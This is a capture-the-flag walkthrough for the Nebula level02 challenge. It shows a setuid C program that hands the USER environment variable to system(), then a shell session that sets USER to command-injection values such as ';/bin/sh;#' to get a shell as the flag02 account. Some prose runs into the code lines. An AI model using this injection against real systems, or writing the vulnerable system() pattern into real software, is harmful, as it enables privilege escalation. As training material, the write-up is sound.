In level02 Nebula challenge, we have the following source code
#include <stdlib.h>We have the to find an arbitrary program execution vulnerability. The interesting part of the source is in bold. The flag02 program runs /bin/echo providing it with an argument that starts with the value of the environment variable USER (which is returned by the getenv() library call).
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
level02@nebula:~$ echo $USERWe do have total control over the USER environment variable.
level02
level02@nebula:~$ ../flag02/flag02
about to call system("/bin/echo level02 is cool")
level02 is cool
level02@nebula:~$ export USER=1337user
level02@nebula:~$ ../flag02/flag02
about to call system("/bin/echo 1337user is cool")
1337user is cool
To exploit this attack vector, we will change the value of USER to a malicious value (e.g to run /bin/getflag or /bin/sh to get a shell as flag02).
level02@nebula:~$ export USER="get ready;/bin/getflag;#"get ready is just what /bin/echo will print on the standard output. We could skip it as it is not really needed.
semicolon (;) is used in shell to separate commands, without it, /bin/getflag will be printed by echo.
the # sign signifies that what comes after ("is cool") is just a comment. It is not necessary, but if not provided, after getflag is run, bash will whine about not finding "is" command.
level02@nebula:~$ echo $USER
get ready;/bin/getflag;#
level02@nebula:~$ ../flag02/flag02
about to call system("/bin/echo get ready;/bin/getflag;# is cool")
get ready
You have successfully executed getflag on a target account
We could have provided /bin/sh instead of /bin/getflag to get a running shell on the box
level02@nebula:~$ export USER=";/bin/sh;#"But the general goal of the wargame is to run /bin/getflag as the flagXY account, so we try to go straight to the goal. ;)
level02@nebula:~$ ../flag02/flag02
about to call system("/bin/echo ;/bin/sh;# is cool")
sh-4.2$ whoami
flag02
sh-4.2$ id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
sh-4.2$ getflag
You have successfully executed getflag on a target account